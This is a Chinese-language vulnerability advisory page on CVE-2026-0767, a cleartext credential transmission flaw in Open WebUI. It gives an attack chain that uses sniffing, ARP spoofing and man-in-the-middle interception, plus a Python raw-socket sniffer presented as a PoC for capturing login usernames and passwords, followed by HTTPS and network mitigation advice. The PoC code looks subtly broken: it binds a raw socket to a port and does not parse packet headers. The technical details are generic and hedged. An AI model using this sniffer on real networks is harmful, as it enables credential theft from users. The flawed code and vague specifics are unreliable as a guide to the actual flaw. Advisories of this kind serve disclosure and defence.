IPBUF安全漏洞报告
English
CVE-2026-0767 CVSS 6.5 中危

CVE-2026-0767 Open WebUI 凭证明文传输信息泄露漏洞

披露日期: 2026-01-23

漏洞信息

漏洞编号
CVE-2026-0767
漏洞类型
信息泄露
CVSS评分
6.5 中危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Open WebUI

相关标签

信息泄露明文传输凭证泄露中间人攻击网络嗅探Open WebUIZDI-CAN-28259无认证利用

漏洞概述

CVE-2026-0767是Open WebUI中的一个信息泄露漏洞,CVSS评分6.5,属于中等严重程度。该漏洞允许网络邻接位置的攻击者获取在传输过程中的敏感凭证信息。漏洞的根本原因在于Open WebUI在处理用户凭证时采用了明文传输方式,未对敏感信息进行加密保护。攻击者通过监听网络流量或进行中间人攻击,可以捕获到用户登录时传输的明文用户名和密码等凭证信息。成功利用此漏洞后,攻击者可以获取用户账户的访问权限,进而可能导致进一步的系统入侵和数据泄露。由于该漏洞不需要认证即可利用,且无需用户交互,因此对暴露在网络中的Open WebUI实例构成较大威胁。攻击者利用获取的凭证可以横向移动或提升权限,对企业网络安全造成严重影响。此漏洞由趋势科技的Zero Day Initiative(ZDI)发现并披露,编号为ZDI-CAN-28259。

技术细节

该漏洞存在于Open WebUI处理用户凭证的特定端点中。漏洞的核心问题是在网络传输层,用户的登录凭证(用户名和密码)以明文形式进行传输,未采用TLS/SSL等加密协议保护。在Open WebUI的认证流程中,当用户提交登录表单时,敏感凭证信息直接以HTTP明文请求发送,攻击者可以通过网络嗅探工具(如Wireshark、tcpdump)或进行ARP欺骗、MITM攻击来捕获这些明文凭证。具体来说,攻击者需要处于与目标服务器相同的网络邻接位置,通过监听同一广播域的网络流量,即可获取到经过的明文凭证数据。由于Open WebUI未实现传输层加密或使用了不安全的认证机制,导致敏感信息在传输过程中完全暴露。攻击者获取这些凭证后,可以冒充合法用户登录系统,进一步执行未授权操作或窃取敏感数据。

攻击链分析

STEP 1
步骤1
攻击者位于与Open WebUI服务器相同的网络邻接位置(如同一局域网或广播域)
STEP 2
步骤2
攻击者使用网络嗅探工具(如Wireshark、tcpdump)或进行ARP欺骗/中间人攻击,监听目标服务器的HTTP流量
STEP 3
步骤3
当合法用户尝试登录Open WebUI时,其用户名和密码以明文形式在HTTP请求中传输
STEP 4
步骤4
攻击者捕获包含明文凭证的HTTP请求包,提取出用户名和密码
STEP 5
步骤5
攻击者使用窃取的凭证以合法用户身份登录Open WebUI系统
STEP 6
步骤6
攻击者利用获取的访问权限进行进一步的攻击,如数据窃取、横向移动或提权操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-0767 PoC - Open WebUI Cleartext Credentials Capture # This PoC demonstrates the vulnerability where credentials are transmitted in plaintext import socket import struct import argparse def capture_http_credentials(interface, port=3000): """ Capture plaintext credentials from Open WebUI HTTP traffic This PoC is for educational and authorized testing purposes only """ print(f"[*] Listening on {interface}:{port} for HTTP traffic...") print("[*] Waiting for credentials from Open WebUI login endpoint...") # Create raw socket to capture HTTP traffic try: sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP) sock.bind((interface, port)) except PermissionError: print("[-] Root privileges required for raw socket") return while True: try: data, addr = sock.recvfrom(65535) # Parse HTTP packet and look for login credentials http_data = data.decode('utf-8', errors='ignore') # Check for typical Open WebUI login patterns if 'POST' in http_data and ('username' in http_data.lower() or 'password' in http_data.lower()): print("[+] Potential credentials captured!") print(http_data) # Extract credentials if present if 'username=' in http_data.lower() and 'password=' in http_data.lower(): print("\n[+] Cleartext credentials found!") except KeyboardInterrupt: print("\n[*] Stopping capture...") break def main(): parser = argparse.ArgumentParser(description='CVE-2026-0767 PoC') parser.add_argument('--interface', default='0.0.0.0', help='Network interface to listen on') parser.add_argument('--port', type=int, default=3000, help='Port to monitor') args = parser.parse_args() capture_http_credentials(args.interface, args.port) if __name__ == '__main__': main()

影响范围

Open WebUI 所有未修复版本

防御指南

临时缓解措施
临时缓解措施包括:1)确保Open WebUI仅通过HTTPS访问,配置有效的SSL/TLS证书;2)在反向代理层面强制启用HTTPS并配置HSTS;3)实施网络访问控制,限制只有受信任的网络才能访问Open WebUI实例;4)使用VPN或专线访问管理界面,减少暴露在公共网络的风险;5)监控认证日志,及时发现异常的登录尝试行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表